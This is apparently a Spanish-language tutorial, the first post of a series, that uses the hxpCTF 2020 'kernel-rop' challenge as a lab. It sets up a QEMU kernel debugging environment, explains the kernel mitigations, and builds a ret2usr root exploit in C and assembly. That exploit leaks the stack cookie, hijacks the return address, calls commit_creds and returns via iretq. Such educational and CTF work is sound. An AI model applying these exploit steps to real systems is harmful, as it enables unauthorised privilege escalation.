En esta serie, voy a escribir sobre algunas cosas básicas en la explotación del kernel de Linux que he aprendido en las últimas semanas: desde la configuración básica del entorno hasta algunas mitigaciones populares del kernel de Linux, y sus correspondientes técnicas de explotación.
Requerimientos:
- Linux – Una maquina Linux
- Programación – Conocimientos altos de programación
Resposabilidad:
En este tutorías utilizaremos técnicas de hacking, con el único fin de aprendizaje. No promovemos su utilización ni con fines lucrativos o incorrectos. No nos hacemos responsables de cualquier daño o menoscabo que pueda generar en los sistemas utilizados. La responsabilidad es absoluta del usuario de este tutorial.
Conocimientos:
- Linux – No aplica
- Programación – Alto
- Kali Linux – No aplica
- Windows – No aplica
- Redes – Bajo
Nivel general del Tutorial: Medio
Ideal para: Ingenieros de sistemas, Ingenieros de seguridad, Pentesters
Para el proceso de aprendizaje, he utilizado el entorno proporcionado por un reto de hxpCTF 2020 llamado kernel-rop para practicar. Tened en cuenta que sólo lo utilicé como entorno de práctica, esto no es un escrito real del reto en sí (aunque la configuración del entorno en el último post puede ser la misma que la del reto, así que podéis llamarlo un escrito). La razón por la que elegí este desafío en particular es porque:
- La configuración es bastante estándar y fácil de modificar a mis necesidades prácticas.
- El error en el módulo del kernel es extremadamente trivial y básico.
- La versión del kernel es bastante nueva (en el momento en que escribí este post, por supuesto).
Para mí, esta serie sirve como un recordatorio, una plantilla de explotación para mí para mirar hacia atrás y reutilizar en el futuro, pero si pudiera ayudar a alguien en sus primeros pasos en la explotación del kernel de Linux por sólo un poco, estaría muy encantado.
Así que vamos a empezar el primer post de la serie, donde demuestro la forma más básica de configurar un entorno de pwn del kernel de Linux, y la técnica de explotación más básica.
Configuración del entorno
Para un desafío de pwn del kernel de Linux, nuestra tarea es explotar un módulo del kernel personalizado vulnearable que se instala en el kernel en el arranque. En la mayoría de los casos, el módulo se dará junto con algunos archivos que, en última instancia, utilizan qemu como emulador para un sistema Linux. Sin embargo, en algunos casos raros, se nos puede dar una imagen de VMWare o VirtualBox VM, o puede que no se nos dé ningún entorno de emulación en absoluto, pero de acuerdo con todos los desafíos que he muestreado, esos son bastante raros, por lo que sólo explicaré los casos comunes, que son emulados por qemu.
En particular, para el desafío de kernel-rop, se nos da un montón de archivos, pero sólo estos archivos son importantes para la configuración de qemu:
- vmlinuz – el núcleo de Linux comprimido, a veces se llama bzImage, podemos extraerlo en el archivo ELF del núcleo real llamado vmlinux.
- initramfs.cpio.gz – el sistema de archivos de Linux que está comprimido con cpio y gzip, directorios como /bin, /etc, … se almacenan en este archivo, también el módulo del kernel vulnearable es probable que se incluya en el sistema de archivos también. Para otros desafíos, este archivo podría venir en algunos otros esquemas de compresión.
- run.sh – el script de shell que contiene el comando qemu run, podemos cambiar la configuración de qemu y del arranque de Linux aquí.
Vamos a profundizar en cada uno de estos archivos para saber qué debemos hacer con ellos, uno por uno.
The kernel
El kernel de Linux, que a menudo se da bajo el nombre de vmlinuz o bzImage, es la versión comprimida de la imagen del kernel llamada vmlinux. Puede haber algunos esquemas de compresión diferentes que se utilizan como gzip, bzip2, lzma, etc. Aquí usé un script llamado extract-image.sh para extraer el archivo ELF del kernel:
$ ./extract-image.sh ./vmlinuz > vmlinux
La razón para extraer la imagen del kernel es encontrar los gadgets ROP dentro de ella. Si ya estás familiarizado con el pwning en userland, sabes lo que es ROP, y en el kernel, no es muy diferente (lo veremos en posts posteriores). Personalmente prefiero usar ROPgadget para hacer el trabajo:
$ ROPgadget --binary ./vmlinux > gadgets.txt
Ten en cuenta que a diferencia de un simple programa de tierra de usuario, la imagen del kernel es ENORME. Por lo tanto, ROPgadget tardará mucho tiempo en encontrar todos los gadgets y tendrás que esperar por ello, por lo que es prudente buscar inmediatamente los gadgets al principio del proceso de pwning. También es prudente guardar la salida en un archivo, usted no quiere ejecutar ROPgadget varias veces para buscar varios gadgets diferentes.
El sistema de archivos
De nuevo, este es un archivo comprimido, yo uso este script decompress.sh para descomprimir el archivo:
mkdir initramfs cd initramfs cp ../initramfs.cpio.gz . gunzip ./initramfs.cpio.gz cpio -idm < ./initramfs.cpio rm initramfs.cpio
Después de ejecutar el script, tenemos un directorio initramfs que se parece al directorio raíz de un sistema de archivos en una máquina Linux. También podemos ver que en este caso, el módulo vulnearable del kernel hackme.ko también está incluido en el directorio raíz, lo copiaremos en otro lugar para analizarlo después.
La razón por la que descomprimimos este archivo no es sólo para obtener el módulo vulnearable, sino también para modificar algo en este sistema de archivos a nuestra necesidad. En primer lugar, podemos buscar en el directorio /etc, porque la mayoría de los scripts de inicio que se ejecutan después del arranque se almacenan aquí. En particular, buscamos la siguiente línea en uno de los archivos (normalmente será rcS o inittab) y luego la modificamos:
setuidgid 1000 /bin/sh # Modify it into the following setuidgid 0 /bin/sh
El propósito de esta línea es generar un shell no-root con UID 1000 después de arrancar. Después de modificar el UID a 0, tendremos un shell de root en el arranque. Te preguntarás: ¿por qué debemos hacer esto? De hecho, esto parece bastante contradictorio, porque nuestro objetivo es explotar el módulo del kernel para obtener el root, no para modificar el sistema de archivos (por supuesto, no podemos modificar el sistema de archivos en el servidor remoto del desafío). La razón última aquí es sólo para simplificar el proceso de explotación. Hay algunos archivos que contienen información útil para nosotros cuando desarrollamos el código de explotación, pero requieren acceso de root para leerlos, por ejemplo:
- /proc/kallsyms lista todas las direcciones de todos los símbolos cargados en el kernel.
- /sys/module/core/sections/.text muestra la dirección de la sección .text del kernel, que es también su dirección base (aunque en el caso de este desafío, no existe tal directorio /sys, puede recuperar la dirección base de /proc/kallsyms).
En segundo lugar, descomprimimos el sistema de archivos para poner nuestro programa de explotación en él más tarde. Después de modificarlo, uso este script compress.sh para comprimirlo de nuevo en el formato dado:
gcc -o exploit -static $1 mv ./exploit ./initramfs cd initramfs find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > initramfs.cpio.gz mv ./initramfs.cpio.gz ../
Las primeras 2 líneas son para compilar el código de explotación y ponerlo en el sistema de archivos.
La ejecución del script qemu
Inicialmente, el run.sh dado tiene el siguiente aspecto:
qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr kpti=1 quiet panic=1"
Algunas banderas notables son:
- -m especifica el tamaño de la memoria, si por alguna razón no puedes arrancar el emulador, puedes intentar aumentar este tamaño.
- -cpu especifica el modelo de CPU, aquí podemos añadir +smep y +smap para las características de mitigación de SMEP y SMAP (más sobre esto más adelante).
- -kernel especifica la imagen comprimida del kernel.
- -initrd especifica el sistema de archivos comprimido.
- -append especifica opciones de arranque adicionales, aquí es también donde podemos activar/desactivar las características de mitigación.
Lo primero que hay que hacer aquí es añadirle la opción -s. Esta opción nos permite depurar el kernel del emulador de forma remota desde nuestra máquina anfitriona. Todo lo que tenemos que hacer es arrancar el emulador de forma normal, y luego en la máquina anfitriona, ejecutar:
$ gdb vmlinux (gdb) target remote localhost:1234
Entonces, podemos depurar el kernel del sistema normalmente, igual que cuando adjuntamos gdb a un proceso normal de tierra de usuario.
La segunda cosa que podemos hacer es modificar las características de mitigación a nuestras necesidades de práctica. Por supuesto, cuando nos enfrentamos a un desafío real en un CTF, puede que no queramos hacer esto, pero de nuevo, este soy yo practicando diferentes técnicas de explotación en diferentes escenarios, así que modificarlos está perfectamente bien.
Características de mitigación del Kernel de Linux
Al igual que las características de mitigación como ASLR, stack canaries, PIE, etc. utilizadas por los programas de userland, el kernel también tiene su propio conjunto de características de mitigación. A continuación se presentan algunas de las características de mitigación del kernel de Linux populares y notables que considero al aprender el pwn del kernel:
- Cookies de pila del kernel (o canarios) – es exactamente lo mismo que los canarios de pila en tierra de usuario. Se activa en el kernel en tiempo de compilación y no se puede desactivar.
- Aleatorización de la disposición del espacio de direcciones del núcleo (KASLR) – también como ASLR en tierra de usuario, aleatoriza la dirección base donde se carga el núcleo cada vez que se arranca el sistema. Se puede activar/desactivar añadiendo kaslr o nokaslr en la opción -append.
- Protección de la ejecución en modo supervisor (SMEP) – esta característica marca todas las páginas de usuario en la tabla de páginas como no ejecutables cuando el proceso está en modo kernel. En el kernel, esto se habilita estableciendo el 20º bit del Registro de Control CR4. En el arranque, se puede activar añadiendo +smep a -cpu, y desactivar añadiendo nosmep a -append.
- Supervisor Mode Access Prevention (SMAP) – complementando a SMEP, esta característica marca todas las páginas de usuario en la tabla de páginas como no accesibles cuando el proceso está en modo kernel, lo que significa que no pueden ser leídas o escritas también. En el kernel, esto se habilita estableciendo el bit 21 del Registro de Control CR4. En el arranque, se puede activar añadiendo +smap a -cpu, y desactivar añadiendo nosmap a -append.
- Aislamiento de la tabla de páginas del kernel (KPTI) – cuando esta característica está activada, el kernel separa las tablas de páginas del espacio del usuario y del espacio del kernel por completo, en lugar de utilizar un solo conjunto de tablas de páginas que contenga direcciones tanto del espacio del usuario como del espacio del kernel. Un conjunto de tablas de páginas incluye tanto las direcciones del espacio del núcleo como las del espacio del usuario, igual que antes, pero sólo se utiliza cuando el sistema se ejecuta en el modo del núcleo. El segundo conjunto de tablas de páginas para usar en modo usuario contiene una copia del espacio de usuario y un conjunto mínimo de direcciones del espacio del núcleo. Se puede activar/desactivar añadiendo kpti=1 o nopti en la opción -append.
La forma en que aprendí, empecé con las menores características de mitigación habilitadas: sólo las cookies de pila, y luego gradualmente agregué cada una de ellas una por una para aprender diferentes técnicas que puedo usar en diferentes casos. Pero primero, analicemos el módulo vulnearable hackme.ko en sí mismo.
Análisis del módulo del kernel
El módulo es absolutamente sencillo. Primero, en hackme_init(), registra un dispositivo llamado hackme con las siguientes operaciones: hackme_read, hackme_write, hackme_open y hackme_release. Esto significa que podemos comunicarnos con este módulo abriendo /dev/hackme y realizando lecturas o escrituras en él.
Realizar una lectura o escritura en el dispositivo hará una llamada a hackme_read() o hackme_write() en el kernel, su código es el siguiente (usando IDA pro, algunas partes irrelevantes son omitidas):
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off) { //... int tmp[32]; //... if ( _size > 0x1000 ) { _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size); BUG(); } _check_object_size(hackme_buf, _size, 0LL); if ( copy_from_user(hackme_buf, data, v5) ) return -14LL; _memcpy(tmp, hackme_buf); //... } ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off) { //... int tmp[32]; //... _memcpy(hackme_buf, tmp); if ( _size > 0x1000 ) { _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size); BUG(); } _check_object_size(hackme_buf, _size, 1LL); v6 = copy_to_user(data, hackme_buf, _size) == 0; //... }
Los errores de estas 2 funciones son bastante claros: ambas leen/escriben en un buffer de pila de 0x80 bytes de longitud, pero sólo alertan de un desbordamiento del buffer si el tamaño es superior a 0x1000. Usando este bug, podemos leer/escribir libremente en la pila del kernel.
Ahora, veamos qué podemos hacer con las primitivas anteriores para conseguir privilegios de root, empezando por las características menos mitigadoras posibles: stack cookies.
El exploit más sencillo – ret2usr
Recordemos que cuando aprendimos por primera vez el pwn de userland, la mayoría de nosotros puede haber hecho un simple desafío de desbordamiento del buffer de la pila donde ASLR está desactivado y el bit NX no está establecido. En este caso, lo que hicimos fue utilizar una técnica llamada ret2shellcode, donde pusimos nuestro shellcode en algún lugar de la pila, luego depuramos para encontrar su dirección y sobrescribimos la dirección de retorno de la función actual con lo que encontramos.
Return-to-user -también conocido como ret2usr- tiene su origen en una idea bastante similar. Aquí, en lugar de poner un shellcode en la pila, porque tenemos el control total de lo que se presenta en la zona de usuario, podemos poner el trozo de código al que queremos que salte el flujo del programa en la propia zona de usuario. Después, simplemente sobrescribimos la dirección de retorno de la función que está siendo llamada en el kernel con esa dirección. Como la función vulnearable es una función del kernel, nuestro código -aunque esté en la zona de usuario- se ejecuta en modo kernel. De esta manera, ya hemos conseguido la ejecución de código arbitrario.
Para que esta técnica funcione, eliminaremos la mayoría de las funciones de mitigación en el script de ejecución de qemu, quitando +smep, +smap, kpti=1, kaslr y añadiendo nopti, nokaslr.
Como esta es la primera técnica de la serie, explicaré el proceso de explotación paso a paso.
Abrir el dispositivo
En primer lugar, antes de poder interactuar con el módulo, tenemos que abrirlo. La función para abrir el dispositivo es tan simple como abrir un archivo normal:
int global_fd; void open_dev(){ global_fd = open("/dev/hackme", O_RDWR); if (global_fd < 0){ puts("[!] Failed to open device"); exit(-1); } else { puts("[*] Opened device"); } }
Después de hacer esto, ahora podemos leer y escribir en global_fd.
Leaking stack cookies
Como tenemos una lectura arbitraria de la pila, la filtración es trivial. El buffer tmp de la pila tiene 0x80 bytes de longitud, y la cookie de la pila está inmediatamente después de ella. Por lo tanto, si leemos los datos en un array unsigned long (del que cada elemento tiene 8 bytes), la cookie estará en el offset 16:
unsigned long cookie; void leak(void){ unsigned n = 20; unsigned long leak[n]; ssize_t r = read(global_fd, leak, sizeof(leak)); cookie = leak[16]; printf("[*] Leaked %zd bytes\n", r); printf("[*] Cookie: %lx\n", cookie); }
Sobrescribir la dirección del remitente
La situación aquí es la misma que la de la filtración, crearemos un array unsigned long, y luego sobrescribiremos la cookie con nuestra cookie filtrada en el índice 16. Lo importante a tener en cuenta aquí es que a diferencia de los programas de tierra de usuario, esta función del kernel en realidad saca 3 registros de la pila, a saber, rbx, r12, rbp en lugar de sólo rbp (esto se puede ver claramente en el desmontaje de las funciones). Por lo tanto, tenemos que poner 3 valores ficticios después de la cookie. Entonces el siguiente valor será la dirección de retorno a la que queremos que regrese nuestro programa, que es la función que elaboraremos en el terreno del usuario para conseguir los privilegios de root, la he llamado escalate_privs:
void overflow(void){ unsigned n = 50; unsigned long payload[n]; unsigned off = 16; payload[off++] = cookie; payload[off++] = 0x0; // rbx payload[off++] = 0x0; // r12 payload[off++] = 0x0; // rbp payload[off++] = (unsigned long)escalate_privs; // ret puts("[*] Prepared payload"); ssize_t w = write(global_fd, payload, sizeof(payload)); puts("[!] Should never be reached"); }
La preocupación final aquí es lo que realmente escribimos en esa función para conseguir privilegios de root.
Obtención de privilegios de root
De nuevo, sólo como recordatorio, nuestro objetivo en la explotación del kernel no es abrir un shell a través de system(«/bin/sh») o execve(«/bin/sh», NULL, NULL), sino que es conseguir privilegios de root en el sistema, y luego abrir un shell de root. Típicamente, la forma más común de hacer esto es usando las 2 funciones llamadas commit_creds() y prepare_kernel_cred(), que son funciones que ya residen en el propio código del espacio del núcleo. Lo que tenemos que hacer es llamar a las 2 funciones así:
commit_creds(prepare_kernel_cred(0))
Como KASLR está deshabilitado, las direcciones donde residen estas funciones son constantes en cada arranque. Por lo tanto, podemos obtener fácilmente esas direcciones leyendo el archivo /proc/kallsyms usando estos comandos del shell:
cat /proc/kallsyms | grep commit_creds -> ffffffff814c6410 T commit_creds cat /proc/kallsyms | grep prepare_kernel_cred -> ffffffff814c67f0 T prepare_kernel_cred
Entonces el código para lograr los privilegios de root se puede escribir de la siguiente manera (se puede escribir de muchas maneras diferentes, es simplemente llamar a 2 funciones consecutivamente usando el valor de retorno de una como el parámetro de la otra, sólo vi esto en un escrito y lo copié):
void escalate_privs(void){ __asm__( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax; mov rdi, rax;" "movabs rax, 0xffffffff814c6410;" //commit_creds "call rax;" ... ".att_syntax;" ); }
Volver a la tierra de los usuarios
En el estado actual de la explotación, si simplemente vuelves a un trozo de código de tierra de usuario para abrir un shell, te decepcionará. La razón es porque después de ejecutar el código anterior, todavía estamos ejecutando en modo kernel. Para abrir un shell de root, tenemos que volver al modo de usuario.
Básicamente, si el kernel se ejecuta normalmente, volverá a modo usuario usando 1 de estas instrucciones (en x86_64): sysretq o iretq. La forma típica que la mayoría de la gente utiliza es a través de iretq, porque hasta donde yo sé, sysretq es más complicado de hacer bien. La instrucción iretq sólo requiere que la pila se configure con 5 valores de registro de userland en este orden: RIP|CS|RFLAGS|SP|SS.
El proceso mantiene dos conjuntos diferentes de valores para estos registros, uno para el modo usuario y otro para el modo kernel. Por lo tanto, después de terminar la ejecución en el modo kernel, debe volver a los valores del modo usuario para estos registros. Para RIP, podemos simplemente establecer esto como la dirección de la función que abre un shell. Sin embargo, para los otros registros, si simplemente los establecemos como algo aleatorio, el proceso puede no continuar la ejecución como se esperaba. Para resolver este problema, la gente ha pensado en una forma muy inteligente: guardar el estado de estos registros antes de entrar en el modo kernel, y luego recargarlos después de obtener privilegios de root. La función para guardar sus estados es la siguiente:
void save_state(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved state"); }
Y una cosa más, en x86_64, una instrucción más llamada swapgs debe ser llamada antes de iretq. El propósito de esta instrucción es también intercambiar el registro GS entre el modo kernel y el modo usuario. Con toda esa información, podemos terminar el código para obtener privilegios de root, y luego volver al modo usuario:
unsigned long user_rip = (unsigned long)get_shell; void escalate_privs(void){ __asm__( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax; mov rdi, rax;" "movabs rax, 0xffffffff814c6410;" //commit_creds "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); }
Finalmente podemos llamar a esas piezas que hemos elaborado una por una, en el orden correcto, para abrir un shell raíz:
int main() { save_state(); open_dev(); leak(); overflow(); puts("[!] Should never be reached"); return 0; }
Conclusión
Así concluye mi primer post sobre mi proceso de aprendizaje de la explotación del kernel de Linux. En este post, he demostrado la forma de configurar el entorno para un desafío de pwn del kernel de Linux, y también la técnica más simple en la explotación del kernel: ret2usr.
En el próximo post, aumentaré gradualmente la dificultad añadiendo más y más mitigaciones, y mostraré la técnica correspondiente para eludirlas.
Anexo:
The script to extract kernel image is extract-image.sh.
The script to decompress the file system is decompress.sh.
The script to compile exploit and compress file system is compress.sh.
The full ret2usr
exploitation code is ret2usr.c.